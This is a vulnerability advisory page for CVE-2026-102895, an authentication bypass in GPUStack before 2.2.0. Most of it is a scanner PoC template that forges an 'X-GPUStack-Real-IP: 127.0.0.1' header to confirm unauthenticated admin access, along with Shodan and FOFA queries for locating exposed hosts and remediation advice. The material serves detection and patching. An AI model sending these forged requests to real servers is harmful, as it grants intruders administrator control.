CVE-2026-102895: GPUStack < 2.2.0 - Authentication Bypass

2026-11-17 PoC Public

Description

GPUStack before 2.2.0 may treat requests with a forged X-GPUStack-Real-IP: 127.0.0.1 header, or requests forwarded by a same-host reverse proxy, as trusted localhost requests and grant unauthenticated administrator access when force_auth_localhost is disabled.

Details

CVE
CVE-2026-102895 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-102895

info:
  name: GPUStack < 2.2.0 - Authentication Bypass
  author: buurosaaqi-dev
  severity: critical
  description: |
    GPUStack before 2.2.0 may treat requests with a forged X-GPUStack-Real-IP: 127.0.0.1 header, or requests forwarded by a same-host reverse proxy, as trusted localhost requests and grant unauthenticated administrator access when force_auth_localhost is disabled.
  impact: |
    An unauthenticated attacker can gain administrator access, read secrets, change cluster configuration, mint API keys, and execute code through custom inference backends.
  remediation: |
    Upgrade to GPUStack 2.2.0 or later. Until then, enable force_auth_localhost, strip untrusted X-GPUStack-Real-IP headers at the edge, and restrict access to the API.
  reference:
    - https://github.com/gpustack/gpustack/security/advisories/GHSA-gj9m-f8ph-pmhr
    - https://github.com/gpustack/gpustack/commit/53f42a6a553542974396d16a4ff6b12bcbedb48d
    - https://github.com/gpustack/gpustack/releases/tag/v2.2.0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-102895
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-102895
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-102895
    cwe-id: CWE-290
  metadata:
    verified: true
    max-request: 4
    vendor: gpustack
    product: gpustack
    shodan-query: 'http.html:"umi." http.html:"/static/favicon.png"'
    fofa-query: 'body="umi." && body="/static/favicon.png"'
  tags: cve,cve2026,gpustack,auth-bypass,unauth,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /version HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && contains_all(body_1, "umi.", "/static/favicon.png")'
          - 'status_code_2 == 200 && contains(header_2, "application/json") && regex("\"version\":\"v?[0-9]+\\.[0-9]+\\.[0-9]+", body_2) && regex("\"git_commit\":\"[0-9a-fA-F]{7,40}\"", body_2)'
        condition: and
        internal: true

  - raw:
      - |
        GET /v2/users/me HTTP/1.1
        Host: {{Hostname}}
        X-GPUStack-Real-IP: 127.0.0.1

      - |
        GET /v1/users/me HTTP/1.1
        Host: {{Hostname}}
        X-GPUStack-Real-IP: 127.0.0.1

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"username\":", "\"is_admin\":true", "\"require_password_change\":", "\"avatar_url\":", "\"source\":", "\"created_at\":")'
        condition: and
# digest: 4a0a00473045022100f81be91b65db7b6147d43a129bf61e7beea60d66c050278cf6bdc252831532fe022017d410766b587db52e40efd14f15b4569261576223d205b3d0266ee3fd8c327c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life